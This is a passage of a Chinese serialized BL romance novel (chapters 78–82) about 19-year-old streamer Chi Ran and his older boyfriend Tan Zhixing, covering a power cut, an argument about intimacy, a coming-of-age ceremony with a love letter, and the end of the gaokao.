池燃闷哼了声,又往后躲,好不容易才气喘吁吁地推开潭知行,“潭知行,我真的要迟到了。” 他眼睛本就好看,这会儿或是因为缺氧而水润,又带着点嗔怒,更是好看得不得了。 潭知行忍了忍,在他眉心处轻轻落下一吻,才松开他,“去吧。” “还有。”潭知行提醒他,“这样才叫接吻。” 池燃:“” 他结巴道,“知道,知道了。” 他随即一骨碌从潭知行身上爬起来,三步并作两步,从书房落荒而逃。 他以后再也不随便亲潭知行了,被抓住会出大事。 晚了两分钟打开直播,池燃看着摄像头,才发现自己脸还是红的。 【迟到扣钱!迟到扣钱!】 【我靠,宝宝你是不是生病了?】 【脸咋这么红啊?刚跑步回来?】 【?嘴巴也好红】 【怎么还会反光?】 【宝你涂唇膏啦?】 【最近天气干,是应该涂点润唇膏】 【千万不要撕嘴巴上的死皮哦宝宝,会得唇炎的】 池燃嗯嗯地应着弹幕,心虚地用手挡住下半张脸,“我知道,我会的。” 还好潭知行没把他嘴唇咬破。 他开了局游戏,刚想说他要开始打了,忽然电脑屏幕一闪,灭了。紧跟着,房间也落入黑暗。 池燃愣了下。 靠,停电了? 他心一下拔凉,愤愤地揉了把头发。 他的排位分!他刚开的局! 这时潭知行过来敲门,片刻后,手电筒光晃进来。 “停电了,等我问下物业。”他注意到池燃暗恼的神情,问,“你的直播怎么样?” 池燃无语地起身,“刚开的游戏,肯定要掉分了。” 他拿出手机,“算了,我上微博跟他们说一下,今天播不了了。” 他问潭知行,“你不是也在写东西,保存了吗?” 潭知行:“我用的笔记本。” 池燃:“” 好吧。 看来遭殃的只有他一个。 一停电,家里的一切除了手机都变得无用。什么都做不了,池燃搬了个椅子来坐到潭知行身边,百无聊赖地一边看潭知行写论文,一边刷手机。 可惜他手机也快没电了,10%。 池燃干脆按灭手机,趴到桌子上,盯着潭知行的电脑屏幕。潭知行打出来的每一个字他都认识,但连到一起就是天书。 “无聊了?”潭知行侧目看他。 池燃懒懒地嗯了一声。 “稍等一会儿。”潭知行说,“写完这段就陪你。” 池燃没精打采,“陪我干嘛?也没电,也没网。” 他瞟了眼潭知行笔记本电脑的电量,三十多,估计连一个电影都看不完。 潭知行手机亮了下,物业发来消息。 “说是检修电路时出故障了,要明天早上才能恢复供电。” 池燃:“哦。” 他坐起来伸了伸胳膊,“那没办法了,今天晚上早点睡觉吧。” 突然,他冒出个念头来,盯住潭知行问,“潭知行,我今天晚上跟你一起睡行不行?” 潭知行边打字边问他,“怎么了?你怕黑?” 池燃犹豫了两秒,本想骗潭知行一下,但转念一想,他们现在都是情侣了,光明正大一点又怎么样。 “我不怕。”池燃说,“我就是想跟你一起睡。” 潭知行手上的动作顿下,偏过头去看池燃,似乎在犹豫。 “不行吗?”池燃凑近他追问。 “可以。”潭知行答应道。 池燃立刻起身往外跑,“我去拿枕头。” 潭知行不放心地跟他喊,“你慢一点!” 随即,房间外就传来池燃一声痛呼,“靠,磕腿了。” 潭知行:“……” 潭知行将论文保存好,池燃也拿了枕头回主卧。这还是他第一次睡潭知行的床,他坐在床上颠了颠,感觉潭知行的床垫比他的还要软一点,很舒服。 潭知行拿着笔记本电脑过来,同池燃一起靠坐到床头,问,“要看会儿电影吗?用我的手机热点。” 池燃犹豫,“看不完吧,你电脑也快没电了。” 潭知行:“看到哪儿算哪儿,困了就睡。” “行吧。”池燃应下,从他手里接过笔记本,“我来找。” 潭知行跟他提议,“可以不看恐怖片吗?” “为什么?”池燃问,“你不是不害怕吗?” 潭知行沉声片刻,“就是这个氛围,看恐怖片是不是不太合适?” 池燃:“……” 他默默把鼠标从恐怖片的分类移到爱情片。 他觉得潭知行说的有道理。 推荐影片里蹦出来的第一个是《泰坦尼克号》。 池燃想了下,点进去,“就看这个吧。” 潭知行有点意外,“看这么老的片子吗?” 池燃:“比你老吗?” 潭知行:“没有。” 池燃偷笑,“我没看过。” 潭知行更意外了,“你没看过?” 池燃嗯了声,瞟到电影的上映年份,“它年纪比我都大。” 而且以前,他也没有特意想过去看什么爱情片,科幻片他看得倒是比较多。 “你第一次看这个是什么时候?”池燃问。 他想了想,又补上一句,“跟谁看的?” “自己。”潭知行说,“具体什么时候,记不清了,大概十五六岁吧。” “但是那个时候,说实话,还看不太懂。” “嗯?”池燃疑惑了声。 电影已经开始播放片头。 “爱情。”潭知行说。 “以前会想,爱情有那么伟大吗?” “真的存在一见钟情或者命中注定吗?” 说到这儿,他垂下眼,笑了声。 艺术果然源于生活。 “那你现在怎么想?”池燃看着他问。 屏幕的荧光映在池燃脸上,潭知行目光不自觉温柔,凑过去在他唇瓣上啄了下。 “真的存在,也真的伟大。” 潭知行的吻停留了片刻便离开,可下一秒,池燃却灵巧地翻身过来,跨坐在了他身上。 笔记本电脑被池燃甩在身后。 “池——” 潭知行半个字还未说出口,池燃再度吻了过来。 他环住潭知行的脖颈,低着头,用力而认真地吻。待潭知行回吻他时,嘴唇微微张开,他便将舌头探进去一点,轻舔他齿尖。 潭知行身上就是有一种令他晕头转向的气味。他吻着吻着,一只手摩挲到潭知行睡衣下摆,掀开衣角探了进去。 潭知行身体温热,他刚触及那片温暖片刻,便被人按住了手。 潭知行停下亲吻,微微喘息着问他,“想干什么?” 电脑屏幕上的光逆过来,叫潭知行有些看不清池燃的表情,只能感到他的呼吸轻颤。 池燃沉默了几秒,又凑近潭知行,轻抵着他鼻尖说话,“可以……跟你,做吗?”—— 作者有话说:勇敢小池!不怕困难![加油] 小池:主动的Alpha有糖吃[三花猫头] 作者有话要说:接下来一段时间的更新都会努力的……擦玻璃……老婆们可以早来看的话就早来[求你了] 第79章 池燃也察觉到潭知行呼吸间异样的起伏, 几乎把这当作他肯定的答复。 他唇瓣将将要凑上来,又听见潭知行说,“不行。” 池燃动作顿下, “为什——” “至少现在不行。”潭知行喉咙上下滚了滚, 将他推开些距离,才觉得换回了呼吸,“等你……再长大一点。” 池燃蹙眉, “我已经十九了。” 可在潭知行眼里,十九岁也是“小孩”。 “你是不是还觉得我是小孩?”池燃一语道破潭知行的心思。 潭知行:“……” 池燃咬咬牙, 一抬腿翻身从潭知行下去,扯过被子背对着他躺下,动作行云流水。 生气了? 潭知行反应了几秒, 伸手去碰池燃。手刚搭上他的肩膀,就被甩开了。 “不做就别碰我。”池燃别扭地赌气,又往床那边蹭了蹭,“睡觉。” 潭知行的手停在半空,半晌, 也只是把池燃的被子往上扯了扯。 “好, 睡吧, 晚安。” 池燃后槽牙都快咬碎了。 他最讨厌潭知行把他当小孩, 本来以为过去这么久潭知行改好了这个毛病,可在这件事上, 他竟然还是这样。 什么叫等他再长大一点?他现在是没有能力支配自己的身体吗?? 潭知行拿过电脑,将电影关掉,又关了机合上放到床头。房间内瞬时落进无边的黑暗里。 他平躺回床上,朝池燃的方向看了眼。 其实他的顾虑很多,一是池燃的年纪, 二是他们刚确认关系不久,这样进展会不会太快?三则是池燃正在备考阶段,这个时候最怕他分心。 若论欲/望,他的,大概不比池燃少半点- 课间,池燃拄着脑袋发呆,一手转笔玩。 “想啥呢你?”白骁路过,蹲下身把笔捡起来放他桌上,“笔掉了都不知道。” 池燃回过神哦了声。 随即,他想到什么似的,将白骁揪了过来。 “哎你有话好好说别动手,等我坐下的。”白骁踉跄两步坐回位子上。 池燃压低声音凑近他,问,“潭知行真没谈过恋爱吗?” 白骁愣了下,说,“应该是吧,至少我从潭叔那儿是这么听说的。” “咋了?你突然问这个干啥?你怀疑他有前任?” “不是。”池燃神色凝重,“我怀疑他不行。” 他歪着头问白骁,“你说男人真的过了25就是60吗?” “嘘嘘嘘。”白骁连忙捂住池燃的嘴,心虚地往季明野的方向看了眼。还好,季明野正在做题,没理他俩。 “说啥呢你?”白骁压低声音,“而且我又没过25,我怎么知道?” 池燃忽然想到一个过了25岁又很合适的人选。 他摸出手机来给韩闻烁发消息:「男人过了25就是60吗?」 “你俩又吵架了?”白骁不明所以地问。 池燃抬起一侧眉毛,“什么叫又?” 白骁心说:三天一小作五天一大作不是您的风格吗? 韩闻烁这时给池燃回过消息来,连带着一串感叹号:「潭知行不行?!!!!」 “诶诶,老师来了。”白骁推推他。 池燃这才把手机收好,转回身子去。 “我来通知一件事。”赵莉莉站上讲台,“下周五高三学年举办成人礼,男生穿西装,女生可以穿正装也可以穿礼服,每位同学最多可以邀请三名家属来观礼。” 赵莉莉一边说,一边把一叠卡片递给班长,“具体观礼的人数你们和家长商量好,给班长报一下,然后去班长那儿领家属邀请函。” “老师!那周五是不是就不上课了!”有人在台下问。 “对。上午九点开始,下午两点结束,结束后就放学,也让你们休息一下。”赵莉莉说。 屋子里一片欢呼。 “可以穿高跟鞋吗老师?”有女生举手问。 “可以。”赵莉莉提醒她,“不过最好带一双平底鞋备用,上午典礼会站很长时间。” “那可以化妆吗?” 赵莉莉笑了笑,“只要别太奇装异服,你们想怎么样都行。” “那我能cos奥特曼吗!” 班里顿时哄堂大笑。 这种时候,池燃难得感到轻松。 往常需要家长出面的场合,他都会尴尬。贺涓不会来参加有关于他的任何活动,池州诚呢,通常会说忙,没时间,偶尔答应一次,也会临时放他鸽子,派个秘书来。 现在,他可以毫无负担地叫潭知行来参加他的成人礼。他也知道,潭知行一定会来。 下午两点多,潭知行正坐在办公室里敲电脑,写下周开会要用的提纲,听到有人敲门,他自然地说了声“请进。” 本以为是学生来找,没想到推门进来的,是个外卖小哥。 “你好,您点的外卖。” 潭知行愣了下,起身走过去,“我没订外卖,是不是弄错了?” “呃……”外卖小哥对着订单看了看,确认道,“不是韩先生吗?买的药,手机尾号8453。” 反应过来是韩闻烁的手机号,潭知行将袋子接了过来,“是我朋友,谢谢。” “好嘞。”小哥完成订单,转身关上门走了。 潭知行对着这个包得严严实实的袋子疑惑了阵。 韩闻烁?怎么会给他买药? 他边走边拆开包装,从里面拿出个小药盒来。 “……”潭知行脸色顿时变了。 紧接着,他手机好一阵震动,点开一看,都是韩闻烁的消息。 「外卖收到了吧?」 「我查过了,这个药特别牛逼!包行的!」 「你他妈倒是早跟哥们说啊。」 「怎么还能在池燃面前丢脸呢?一点都不man」 「吃上药,今天再试试!」 潭知行:“……”- “你怎么才回来?”潭知行推开家门,池燃就从客厅小跑过来。 他不在家的时候,池燃会喜欢待在客厅,坐在地毯上写作业,说是比较有安全感。 “加了会儿班。”潭知行说,“路上又堵车了。” “哦。”池燃直接问,“你下周五有事吗?” “下周五……”潭知行边脱外衣边思考,“上午没课,怎么了?” 池燃变魔术似的从身后拿出来一张卡片,递给潭知行,“成人礼,邀请你来。” 他语气还有一点小得意,“我可只邀请了你一个人啊。” 潭知行将卡片接过来,垂眼看了看,那上面写的是:家属邀请函。 家属。 他在心里默念了遍。 他笑了下,问池燃,“我的身份是?” 池燃有点不好意思地挠挠脸,“叔叔,哥哥,或者……男朋友什么的,你自己决定吧。” 他小声嘀咕,“不过如果是男朋友就最好了……” 潭知行又笑,“好。” 他将卡片收起来,又话锋一转,“但是,是不是有人在外面说了他男朋友的什么坏话?” 池燃一秒心虚,开始装傻,“嗯?什么啊?没有,怎么会?” 他跑回茶几边,坐下拿起笔,“我要继续写卷子了,你别打扰我。” “真没有?”潭知行稍稍歪了歪头,看他。 池燃胡乱算题,一口否认,“没有。” 潭知行慢悠悠地问,“那今天韩闻烁怎么会给我寄一盒治疗男性/性/功能的药?” 池燃:“……” 他一狠心,放下笔,抬起头,像小炮仗似的输出,“谁让你不跟我做,我只是问韩哥男人过了25是不是就是60,除此之外什么都没说,他自己理解的你不行也不能怪我,而且真的不能怪我,要怪就怪你不跟我做,那我只能怀疑你是不是不行,我都十九了你还说要等我长大,这很不合理非常不合理,那我只能认为,你,不,行!” 池燃一口气儿说完,差点把自己憋死。 他深深缓了口气,理直气壮地看向潭知行。 潭知行愣了片刻,理解完池燃的话,很是无奈地笑了。他没想到这件事对池燃来说这么重要,居然让他生气成这样。 他走过去,将池燃拽到沙发上,同他面对面坐着,解释道,“第一,我自认为我的身体很健康,不需要用什么药。第二,我说的等你长大,不是指年纪,而是希望你以后可以以一个更成熟理性的态度对待这件事,不是一时的头脑发热。” “我没有头脑发热。”池燃很直白地看着他说,“我喜欢你,我就是想和你做,这不正常吗?难道你不想吗?” “……好。”潭知行避重就轻,接着说,“我认可这是正常的生理需求。” “第三,我们刚在一起一个多月,这个时候谈这个,我不知道是不是进展太快,或许可以考虑过段时间再——” “stop。”池燃比了个暂停的手势,一脸无奈地看着潭知行,“潭知行,我发现你……真的很老派。这件事和在一起多久有什么关系?难道不应该和感情浓度有关系吗?” 潭知行:“……” 不得不承认,他被池燃说服了。 “最后,你正在备考,我不希望影响你学习。” 池燃闻言抿了抿唇,有些脸热地垂下眼,小声道,“你不答应才更影响我学习。” 他今天有一半的时间都在想潭知行为什么不肯和他做…… 虽然潭知行说的那种情况也有可能,他们Alpha对另一半的占有欲很强,真做了之后,他怕不是会天天想着潭知行。 这个理由勉强劝动池燃了。 “行吧……”他退了一步,“那就,等我考完。” 他看着潭知行,“到时候你不许再耍赖了。” “嗯。”潭知行答应。 他看着池燃耳朵一点一点变成血红色,不禁笑了声问,“就那么……想做吗?” 说实话,他也能理解,毕竟是十八九岁的年纪,正是血气方刚。 池燃脸更红了,都说到这个份上了,潭知行还问他想不想? 他一扬手,准备爬回地毯上,“别问了,你很烦!” 潭知行一把拽住他手臂,“等一下。” “干嘛?” 他被潭知行按回沙发上。 “今天给你用手。”—— 作者有话说:潭老师:[眼镜]“照顾”一下小男朋友 一整天的小池:[愤怒](生气)[问号](是不是不行?)[裂开](真的不行)[可怜](真的不行吗?)[害羞](行!) 第80章 “什么……手?”池燃大脑还没反应过来, 潭知行的吻就落了下来。 他不抗拒,自然而然地攀上潭知行的脖子,认真同他接吻。 片刻后, 他就知道潭知行说的是什么意思了。 他浑身一阵激灵, 酥麻顺着脊椎往上窜。 “潭……”他下意识地叫潭知行的名字。 潭知行托着他将他抱起,池燃懵了两秒,问, “干什么?” “回卧室。”潭知行又在他嘴角落下轻轻一吻,“沙发上不好清理。” 池燃:“……” 他不自觉地吞咽, 脸上又一阵火热。 卧室没开灯,潭知行将他放在床上,他顺势靠住床头又拉潭知行过来接吻, 潭知行却拽住他的手同他分开。 “等一下。”潭知行说。 池燃都快急死了,他气道,“又怎么了?” “我刚回来。”潭知行一本正经地解释,“去洗下手。” 池燃默默咬了咬牙。 潭知行不会是故意的吧?就这么吊着他。 “快点去。”他推了潭知行一把。 等潭知行进了卫生间,池燃一瞬栽倒回床上, 用被子蒙住自己。 靠。 他这样是不是太没出息了?不就是用手?搞得他像没见过世面似的。 好吧, 他确实没见过。 他突然觉得自己有点打肿脸充胖子了, 口口声声说要和潭知行做, 结果只是被潭知行隔着裤子揉了几下他就有点受不了了。 Alpha有他这么当的吗?简直给Alpha丢脸。 不行!池燃脑中一根弦绷紧。 他得强硬一点! 潭知行从卫生间出来,走到床边, 正要坐下,突然被池燃猛地一拽,像过肩摔似的,池燃扑过来压在他身上。 亲吻随之落下来。 “池燃……”潭知行捉住他乱动的手,声音低了几分, “我不用。” “你说了不算。”池燃坐直身子,一手推在他胸膛上,居高临下地看他。 潭知行呼吸不自觉加重。理智和感性斗争了片刻,他拉过池燃来接吻。 可是很快,池燃就没了刚才那股威风,潭知行手抚过的每一寸皮肤都像在他身上点火,更别提是那里。 池燃咬紧牙关忍着,只敢重重地呼吸。刺激到了顶点时,便从一旁揪过被子来捂住口鼻,也挡住他燥红的脸。 “可以叫。”潭知行扯掉他手里的被角,顺势一只手掰开他下颌。 “池燃。”他低声安抚,“这里没有别人,只有你和我。” 池燃浑身一阵颤栗,彻底弄脏了潭知行身上的衬衫。 他瘫进床上,一只手搭在额头上,喘息片刻,侧目去看潭知行。 进家门时原本衣冠楚楚的人,这会儿袖子是半挽起的,领口被他扯开,身上还沾了些…… 池燃移开目光,将脸偏到一侧。 开始前他还想着帮潭知行的,结果弄着弄着他就把这事忘到脑后,光顾着自己了。 潭知行站起身,将衬衫纽扣一颗颗解开,“我去洗澡,顺便把衣服也洗了。” “那个……”池燃犹豫了下。 “嗯?” 池燃翻了个身,半张脸埋进枕头里,“没,你去吧。” 过了那个劲儿,再要他说那些话还有些不好意思了。 算了,下次。 池燃暗暗地想,下次一定- 成人礼当天,韩闻烁跟着潭知行一起来了。原因是他一听说池燃有成人礼,硬是死皮赖脸地求池燃给了他一张邀请函,说是这么重要的场合他不能错过。 上午九点半,学校操场上整整齐齐站了一队又一队的人,校长站在主席台上讲话,慷慨激昂。 潭知行和韩闻烁坐在看台席上,遥遥望去,是一个又一个小人头。 韩闻烁从包里掏出个望远镜来,嘴里一边念叨,“在哪儿呢?” 潭知行困惑,“你带望远镜干嘛?” 韩闻烁:“找池燃啊。” 他一手拍拍肩上挂的相机,“你没看我还特意带了大炮来呢。” “包出片的。” 潭知行:“……” 他也带了相机,不过,是池燃一直用的那个DV。这台DV从来都是池燃用来拍他的,今天他也想当一回池燃的摄影师。 “哎找到了!”韩闻烁放下望远镜,换上超长焦相机。 “我靠,小池燃今天这么帅,你给他买的西装?”他问潭知行。 潭知行嗯了一声。 因为现定制来不及,只能去店里买,还好有很合身的。 韩闻烁对着镜头里池燃一身卡其色西装打量了片刻,突然觉得哪里不对,好眼熟。 他放下相机扭头看潭知行,“你俩买的一个款?” 潭知行:“嗯。” 只不过他身上的是棕色配领带,池燃的……他觉得领结和池燃的性格更配,便换成了领结。 “变态。”韩闻烁又起了一身鸡皮疙瘩。 潭知行好像生怕别人不知道池燃和他是一对。 校长讲完话,各个领导主任讲完话,两个小时过去才到自由活动时间。 操场上到处都是家长和学生。 池燃隔着老远便朝潭知行和韩闻烁招手,“这儿!” 表情很好看,动作很活泼,韩闻烁掏出相机就是“咔咔”一顿拍。 等走近,潭知行才发现池燃手里也捏了一封信。 刚才校长讲话时说了,学校给每位同学都安排了任务,在成人礼之际,写一封致家长的信。 他还以为池燃不会写。 池燃注意到潭知行的目光,把信封往身后藏了藏。 “韩哥,我们来合影!” “好好好马上。”韩闻烁当站哥上瘾,指挥他,“你再往左边站点,笑一笑。” 池燃听他的,留下一瞬很灿烂的笑。 “潭知行你过去。”韩闻烁又说,“我给你俩多照几张。” “好。”潭知行应着,走到池燃身旁。 先是肩并肩很正经的照了一张,随后池燃便挽住了潭知行的胳膊,笑得很开心。 “信是给我的吗?”潭知行低声问。 “这么着急?”池燃看他一眼,想了想,直接把信封塞进潭知行西装口袋里,“那好吧,给你。” 他又加上一句,“现在不许看。” “你俩说啥悄悄话呢?”韩闻烁挪开镜头,不满地看向他俩,“看镜头啊!” 学校在路口处设了“成人门”,韩闻烁手疾眼快地给池燃抢了位置,让他去拍照。 这里拍拍那里拍拍,等白骁和季明野跟父母说完话,他们仨又到处合影,最后轮到班里集体去台上合影,热闹得很。 每到这种时候,潭知行的存在感总格外得低。池燃已经习惯了潭知行在他身边总会默默后退一步,把他周围的空间留给更多人。 但这种时刻,他也私心,想和潭知行多独处一阵。 “那个,我去趟卫生间。”池燃从人堆里退出来。 白骁和季明野正跟着韩闻烁看照片,心思都在照片上,就应了一声,“嗯嗯好。” 池燃抓过潭知行的手,小声道,“走。” 潭知行微微一愣,“去哪儿?” 池燃转头领着潭知行往体育场外跑,跑出大门,左转右拐,来到一条小路上。 隔着一排树,那头的锦鲤池旁有几个人在拍照。 “潭知行。”池燃叉腰,“你不是也带相机了,怎么不给我拍照?” 潭知行才觉得自己手里一直握着的DV有点多余。 “我……没找到合适的机会。”他顿了顿,“而且你已经拍了很多了。” “那不一样。”池燃抬手点点他的肩,语气俏皮,“现在给你机会了,你把握住。” 潭知行低头笑了,“好。” 他打开DV,对准池燃问,“你想怎么拍?” 池燃琢磨了下,把问题抛回去,“你想怎么拍?” 潭知行迟疑两秒,将那封信从口袋里拿出来,递给池燃,问,“这个行吗?” “什么?”池燃没反应过来。 “可以读给我听吗?” “……” 潭知行又问,“写了什么不好意思读的话吗?” “……没有。”池燃一把将信拿了回来,心跳在一瞬间加快,“读就读。” 潭知行这个人……还真有点东西。 他硬着头皮将信拆开,清了清嗓子,又扫了眼镜头。他写这封信的时候,可没想过自己会亲自读给潭知行听,所以下手没轻没重的。 但没办法了。 他开口,“潭知行,你好。我没写过信,所以写的时候,又把上次你送我的信翻出来看了一遍。严格来说,这不是致家长的一封信,是……我给你的情书。” 潭知行透过镜头去看池燃,注意到他耳根的红,少年和背景里的绿茵很配。 “第一次见面的时候我不太喜欢你,但是我知道你是个好人,就赖上你了。后来我们相处的日子越来越长,我更发现,你是个很好很好的人,对我特别好,除了有一点坏……就是不肯答应和我在一起。” 池燃心虚地瞟了眼潭知行,继续念下去,“但是我这个人很大度,就不跟你计较这些了。我只要,你从今往后的每一天,都喜欢我……爱我。” “我知道以你的性格,我说永远你肯定不会信。” 池燃吞咽了下,缓缓放下信纸,去看潭知行的眼睛。 “但我还是要说,我也会永远,喜欢你,爱你。” 潭知行按下结束键,半晌,他放下DV,朝池燃迈近一步,拉过他的手,问,“可以在这儿吻你吗?”—— 作者有话说:潭老师:感动ing[摸头] 小池:[害羞][害羞][害羞]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-87 第81章 池燃本就害羞, 被潭知行这么一问,更是紧张到接着咽口水,他又结巴, “这儿, 这里是学校。” 潭知行嗯了一声,“我知道,但我不是学生, 是家属。” “我是学生。”池燃说。 潭知行又凑近了他一点,轻声说, “你也可以不是,你是家属的男朋友。” 池燃:“……” 他脑子乱乱的,这是什么鬼逻辑? 可潭知行的脸就近在眼前, 他索性管不了那么多了。他凑过去,飞快地在潭知行嘴巴上啄了下,红着脸道,“我觉得你说的对。” 潭知行心满意足,笑着退开半步, 揉了揉他脑袋, “谢谢你的情书, 我很喜欢。”- 夏天悄悄到来, 日子一天天变热,连同所有高三师生燥动期盼的心。 晚上七点多, 池燃照常提前放学,却在校门口看见个熟悉的身影。 “潭知行!”他快步跑过去,“你怎么来了?” 一般来说,如果潭知行要来接他的话,会提前告诉他。 “带你去个地方。”潭知行拉过他的手。 “嗯?”池燃疑惑了声, “要去约会吗?” “不是。”潭知行绕到车的另一边,“上车吧。” 池燃一路好奇地盯着路上的风景,不久,看着潭知行带他驶进了一个公园,来到一条小河边。 “下车。”潭知行说。 池燃哦了声,解开安全带,从副驾驶蹦下来。紧接着,他看着潭知行从后备箱拎出两个大透明塑料袋,里面红通通的一片。 是……锦鲤? “你……”池燃一下有点懵。 “给你拿一袋。”潭知行把其中一个交到他手里。 见池燃还懵懵的,潭知行笑了声,解释道,“我爸买的,让我在考试前带你去放生祈福。” “放生吗?”池燃跟着重复了遍。 他以前确实听说过,高考前很多学生家长都会为孩子做些祈福仪式,放生,烧香拜佛,穿旗袍等等,只不过,他没想到自己也会有这么一天。 “嗯,走吧。”潭知行说,“去河边。” 池燃反应了几秒才拎着袋子跟上他。 “潭知行,你高考的时候叔叔阿姨也给你做这些了吗?”池燃问。 “他们想做来着,但是被我拒绝了。”潭知行说。 “为什么?” “嗯……”潭知行想了想说,“比起祈福,我更相信我的能力。” 池燃:“……” 谢谢,有被装到。 他琢磨了两秒,忽然觉得哪里不对,嘶了口气反问潭知行,“那你带我来放生,是不相信我的能力了?” 潭知行无奈地笑了下,“不是。” 潭知行看向他,主动解释道,“是想给你多一层保障,相信你的能力,也想让好运多多降临在你身上。” “……”池燃不吭声了,半晌才接上一句,“好吧。” 其实对高考,他不是特别有信心。他不像季明野那么学霸,回回考试都年级第一,也做不到错过的题能不再错,顶多,是在题海里摸爬滚打,一身灰。 更何况,升到高三之后,他有一半的精力都放在了电竞上,潭知行又从没对他要求过什么,他就随心来了。 也是最近几天他才有点焦虑,也许是被同学们感染的,开始想,如果他没考好该怎么办? 换做以前,池州诚大概会像对他哥一样对他,把他打包扔去国外自生自灭。但是现在他不行了,他得留在潭知行身边。 他们来到河边,将塑料袋口对准水流,一松手,一窝锦鲤就争先恐后地涌了出去,回到水里,自由自在地游起来。红灿灿的一片,很好看。 潭知行拿了鱼食来,递给池燃一小包,“给,店里赠的。” 池燃接过来,蹲在河边默默喂鱼。 “怎么了?”潭知行注意到他情绪不对。 放生锦鲤,难道不应该高兴一点吗? “潭知行。”池燃开口问他,“我应该考什么学校啊?” “嗯?”潭知行似乎是没想到池燃会在这个时候问他这种问题,“你没想过吗?” 池燃扭头看他,反问道,“你没想过吗?” “我吗……”潭知行将目光放在抢食吃的小鱼身上,“很早之前我就跟你承诺过,以后我不会干涉你的选择,你想上什么样的大学,过什么样的人生,都由你自己决定。” 池燃抿了抿唇。 他记得潭知行说过这样的话,可是……在这件事上,有点不一样。 “我要是考去其他城市了呢?” 潭知行的父母在这里,工作也在这里,他是不会离开明城的。 “那也很好。” 潭知行给了一个池燃意料之外的回答。 “可以去看看不同的城市,体验不一样的生活氛围。” 池燃微微皱眉,问,“那你怎么办?” 如果他考去了其他城市,他和潭知行就会异地。 潭知行转头看向他,轻柔地一笑,“我会去看你,会在家里等你,如果你愿意,我也可以跟你去世界上的任何一个角落。” “池燃,我知道你在担心什么。” “对我来说,时间和距离都不会是爱情的阻碍。对你而言,爱情也不该成为你人生的阻碍。” “你的选择是无限的,但不必包括我,知道了吗?”潭知行稍稍冲他歪了下头。 池燃呼吸一时变轻,他注视着潭知行的眼睛,片刻后,缓慢地点了点头,甚至有一点点哽咽,“知道了。” 他可以选择他想做的任何事情,而潭知行,会永远在他身后。他什么都不用担心。 “走吧。”潭知行起身,朝他伸手,“再晚回去你该赶不上直播了。” 池燃搭上他的手,起身时感觉腿麻了,顺势“哎哟”一声抱住潭知行脖子,在他唇上亲了一口。 “潭知行你真好。”- 高考最后一门结束,池燃和众多学生一样,从校门口狂奔出来。 今天就是解放! “送我去饭店吧!”池燃冲进潭知行车里,一屁股坐到副驾驶上,因为在兴头上,他扑过去在潭知行脸上亲了一口。 晚上他们班约了一起聚餐,早和潭知行说过了。 “嘿!”一个小礼花在车里炸开,韩闻烁的声音从后面冒出来。 池燃被吓得一激灵,而潭知行则是一脸无奈。 “我靠。”池燃腾地脸红。 他当着韩闻烁的面亲潭知行了??? “恭喜啊恭喜!”韩闻烁热切地同他握手,“终于脱离苦海,从今以后就是个真正的大人了!” 池燃笑得勉强,“哈……哈哈,谢谢韩哥。” 潭知行解释道,“我不让他来,他非要来。” “诶你今天非要去跟同学聚餐吗?”韩闻烁问。 潭知行发动车子,池燃坐正了身子,通过后视镜和韩闻烁对视,“是啊,我们都约好了。” 韩闻烁颇感可惜地叹口气,“哎,这么大的日子,这么好的日子,你俩难道不应该干点啥吗?” 他说这话时,特意把“干”这个字加重了些。 池燃耳朵一热,跟潭知行说,“一会儿路边停车,我去买瓶冰可乐。” 潭知行点头,“好,我晚上去接你。” 俩人自动把韩闻烁信号屏蔽了。 聚餐也邀请了老师们,本来说是不喝酒的,但架不住学生大了管不住,敬“酒”敬着敬着就变成真的酒了。 大家都高兴,池燃自然也是,喝着喝着就喝多了。 潭知行来接池燃时,早就预想到了这一点,池燃或许又会发酒疯什么的。 但池燃比他想象中的更严重点。 散场,同学老师们一个接一个地出来,白骁和季明野一左一右地掺着拽着拖着池燃,好不容易才把他交到潭知行手上。 “潭!知!行!”池燃还能认得人,笑眯眯地一把挂在潭知行身上,“你来接我啦!” “他又喝了多少?”潭知行微微皱眉问。 “呃……那个。”白骁也有点记不住了,他一晚上也忙着喝酒来着。 “大概三四瓶啤酒吧。”季明野说。 他一滴酒没喝,所以记得清楚。 潭知行点头,又问,“用不用我送你们回去?” “不用!”白骁连忙摆手,一下有点结巴,“我,我俩打算,打算走回去,顺路。” 他心虚地又重复了一遍,“嗯,顺路。” 又几个人从饭店出来,熙熙攘攘地聚在门口。 “老师!我们一起打车走啦!” “路上注意安全啊。” “老师你往哪儿走啊?要不我们一起打车?” “我往礼州路那边,没事,你们——” 赵莉莉话音未落,池燃猛地一举手,很大声,“老师!我顺路!” “我们送你回家!” 他迷迷糊糊地扭头,“是吧潭知行?” 被池燃架到这儿,潭知行只能点头,“是,赵老师,我们顺路,一起走吧。” “哎哟,这不是池燃的叔叔吗?”赵莉莉笑起来,“真的可以吗?那就麻烦你们了。” “不麻烦。” 潭知行一手扶住池燃,一手给赵莉莉拉车门。 “老师!”池燃突然大声,“我要跟你坦白一件事!” 赵莉莉愣了愣,反应了几秒又笑得随和,“你想坦白什么啊?是不是偷偷早恋来着没告诉老师?” 池燃一抬手,朝潭知行指过去,“他不是我叔叔!” 赵莉莉:“啊?” 池燃中气十足,一嗓子喊出去,“他是我老公!”—— 作者有话说:小池:[垂耳兔头]啊?喝多了,不知道啊,我说的是真的! 潭老师:[化了]小祖宗上线 第82章 潭知行好不容易将池燃拖进家门, 池燃被扔到沙发上还不老实,吵吵嚷嚷地跟潭知行要酒喝。 “潭知行,我们来喝酒吧。”他醉醺醺地笑, “今天是个好日子。” 潭知行托起他一只胳膊, “抬手。” “哦。”池燃懵懵地照做。 身上的T恤被潭知行顺手扯了下来。 池燃忽然大叫一声,“啊!潭知行你干什么!” 潭知行:“” 潭知行把手边的睡衣扔到他身上,“换衣服, 洗漱睡觉。” 池燃又晕乎乎地应了一声,但显然失望了点。 “自己能去洗漱吗?”潭知行问。 “能——”池燃拖长了声音答应。 “嗯。”潭知行这才起身, “去吧,我去给你冲杯蜂蜜水。” 池燃晃晃悠悠地走进卫生间,潭知行转身去厨房, 几分钟后,潭知行将蜂蜜水冲好,朝卧室的方向喊了池燃两声,却半点动静都没有。 潭知行随手放下水杯,往卧室走去。 “池燃?” 原本他还担心池燃是不是在卫生间摔倒了什么的, 但推开门一看, 池燃正四仰八叉地倒在床上, 盯着天花板发呆。 潭知行无奈, 站到他跟前问,“洗漱好了?” 池燃点点头。 “我去把蜂蜜水给你拿来, 喝了睡觉。” 池燃一抬手死死拽住潭知行。 “又怎么了?” 